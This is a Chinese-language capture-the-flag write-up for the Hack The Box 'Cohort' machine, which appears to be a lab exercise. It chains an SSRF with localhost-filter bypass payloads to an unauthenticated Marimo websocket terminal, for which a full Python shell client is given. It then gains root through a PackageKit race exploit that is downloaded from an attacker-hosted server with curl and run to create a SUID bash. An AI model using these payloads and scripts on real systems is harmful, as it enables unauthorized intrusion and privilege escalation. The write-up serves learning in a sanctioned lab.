【渗透测试】HTB Season 11 Cohort 全过程WP

Cohort HTB wp

  • 目标:10.129.244.174
  • 靶机:Hack The Box Cohort
  • 类型:Web + Linux Privilege Escalation

信息收集

HTTPS 证书和跳转信息暴露了主域名:

text 复制代码
cohort.htb

因此先在攻击机配置解析:

text 复制代码
10.129.17.127 cohort.htb

Web入口与SSRF

访问 https://cohort.htb 后发现数据门户。前端页面 portal.html 存在一个"验证/获取数据源"的功能,客户端会向后端接口提交 URL。

去抓包发现可以发起URL请求

但是127.0.0.1被ban了

尝试绕过

kotlin 复制代码
http://127.1/
http://2130706433/
http://0x7f000001/

通过 SSRF 发现内部服务

对本机常见端口进行探测,重点关注 HTTP 返回内容而不是单纯判断端口是否开放:

kotlin 复制代码
http://127.1:5000/
http://127.1:5000/status
http://127.1:8888/
http://127.1:8888/status

探测结果表明:

  • 5000 存在内部 Flask/API 服务
  • 8888 存在 Marimo Web 应用
  • 8888 只绑定在本机,外部无法直接访问

继续访问 nginx 的状态页面:

kotlin 复制代码
http://127.1:80/status


{"ok": true, "fetched_status": 200, "content_type": "application/json", "preview": "{\"service\":\"cohort-edge\",\"status\":\"ok\",\"generated_by\":\"nginx\",\"upstreams\":[{\"name\":\"marketing\",\"host\":\"cohort.htb\",\"root\":\"/var/www/cohort\"},{\"name\":\"insights-api\",\"host\":\"cohort.htb\",\"path\":\"/api/\",\"target\":\"127.0.0.1:5000\"},{\"name\":\"notebooks\",\"host\":\"nb-1be3782a8afd3ad5.cohort.htb\",\"target\":\"127.0.0.1:8888\",\"note\":\"internal analyst workspace, not for external use\"}]}", "message": "Source reachable."}

响应中出现内部虚拟主机信息:

text 复制代码
nb-1be3782a8afd3ad5.cohort.htb

该 vhost 对应后端地址:

text 复制代码
127.0.0.1:8888

这一步很关键。直接访问 IP 的 8888 端口并不能得到正确的 Marimo 页面,因为 nginx 根据 Host 头进行虚拟主机路由。后续连接必须使用这个 vhost。

识别 Marimo 与获得 Web Shell

通过 SSRF 获取内部页面和静态资源后,确认内部服务是 Marimo,版本为:

text 复制代码
Marimo 0.20.4

随后检查 /terminal/ws WebSocket 端点。该端点未执行正常的认证校验,可以建立终端连接。

python 复制代码
import ssl
import threading
import websocket

host = "nb-1be3782a8afd3ad5.cohort.htb"
ws_url = "wss://10.129.244.174/terminal/ws"

# 全局websocket对象
ws = None

def recv_loop():
    """持续接收服务端消息并打印"""
    global ws
    while True:
        try:
            data = ws.recv()
            print(data, end="")
        except Exception:
            print("\n[!] 连接断开")
            break

def main():
    global ws
    ws = websocket.create_connection(
        ws_url,
        host=host,
        origin="https://" + host,
        sslopt={"cert_reqs": ssl.CERT_NONE},
        timeout=5,
    )
    print("[+] Websocket 连接成功,输入exit退出")

    # 启动接收后台线程
    threading.Thread(target=recv_loop, daemon=True).start()

    # 主线程交互式输入
    while True:
        cmd = input("")
        if cmd.lower() == "exit":
            break
        # 注意:大部分终端ws需要换行结尾,根据目标调整 \r 或 \n 或 \r\n
        ws.send(cmd + "\r")

    ws.close()

if __name__ == "__main__":
    main()

Marimo 0.20.4 小于修复版本 0.23.0,对应未授权 WebSocket 终端执行漏洞 CVE-2026-39987

这里的判断过程是:

  1. 确认具体组件是 Marimo,而不是仅凭页面外观猜测。
  2. 获取实际版本号 0.20.4
  3. 验证 /terminal/ws 可以在未登录状态建立连接。
  4. 发送 id 并获得真实命令输出,证明不是普通信息泄露,而是可利用的 RCE。

提权

SUID检查

bash 复制代码
find / -perm -4000 -type f -ls 2>/dev/null

没有发现明显的自定义 SUID 程序,只有系统常见程序,例如 sudomountpasswdbash 等。

sudo权限

复制代码
sudo -l
但是需要密码

系统与PackageKit版本

bash 复制代码
cat /etc/os-release
dpkg-query -W -f='${Version}\n' packagekit
command -v dbus-send
command -v dpkg-deb

PackageKit 版本较旧,同时系统存在 D-Bus、dpkg-deb 等组件,符合 PackageKit 本地提权漏洞的利用条件。

CVE-2026-41651:Pack2TheRoot

漏洞核心是 PackageKit 事务处理中的 TOCTOU 竞态:

  1. 创建一个 PackageKit transaction。
  2. 对同一个 transaction 发送一次 InstallFiles,设置 SIMULATE 标志。
  3. 在服务端完成状态处理前,再发送第二次 InstallFiles,改成真实安装并替换安装包路径。
  4. 服务端后续执行阶段读取被覆盖后的路径和参数。
  5. 恶意 .debpostinst 脚本以 root 权限执行。

这里使用shibaaa204_Pack2TheRoot\Pack2TheRoot-main的bin文件

先上传

bash 复制代码
python -m http.server 8000 --bind 10.10.16.186
curl -O http://10.10.16.186:8000/exploit.bin

然后运行

bash 复制代码
# 1. 删除旧文件,清理残留
rm -f /tmp/.suid_bash /tmp/pk.log

# 2. 后台运行提权exp,日志输出到/tmp/pk.log
nohup /tmp/exploit.bin >/tmp/pk.log 2>&1 &

# 3. 等待12秒,给漏洞利用足够执行时间
sleep 12

# 4. 检查是否成功生成SUID权限的bash
ls -l /tmp/.suid_bash

# 5. 打印exp运行日志,查看报错/执行结果
cat /tmp/pk.log

读取root.txt

SUID bash 需要使用 -p 保留有效 UID:

bash 复制代码
/tmp/.suid_bash -p -c 'id; cat /root/root.txt'

完整攻击链

bash 复制代码
10.129.17.127
    |
    +-- 80/443 nginx
            |
            +-- cohort.htb / portal.html
                    |
                    +-- /api/validate SSRF
                            |
                            +-- 127.1 绕过本地地址过滤
                                    |
                                    +-- 127.0.0.1:80/status
                                            |
                                            +-- 发现 vhost
                                                nb-1be3782a8afd3ad5.cohort.htb
                                                        |
                                                        +-- 127.0.0.1:8888
                                                                |
                                                                +-- Marimo 0.20.4
                                                                        |
                                                                        +-- 未授权 /terminal/ws
                                                                                |
                                                                                +-- marimo shell
                                                                                        |
                                                                                        +-- PackageKit 1.2.8
                                                                                                |
                                                                                                +-- CVE-2026-41651
                                                                                                        |
                                                                                                        +-- root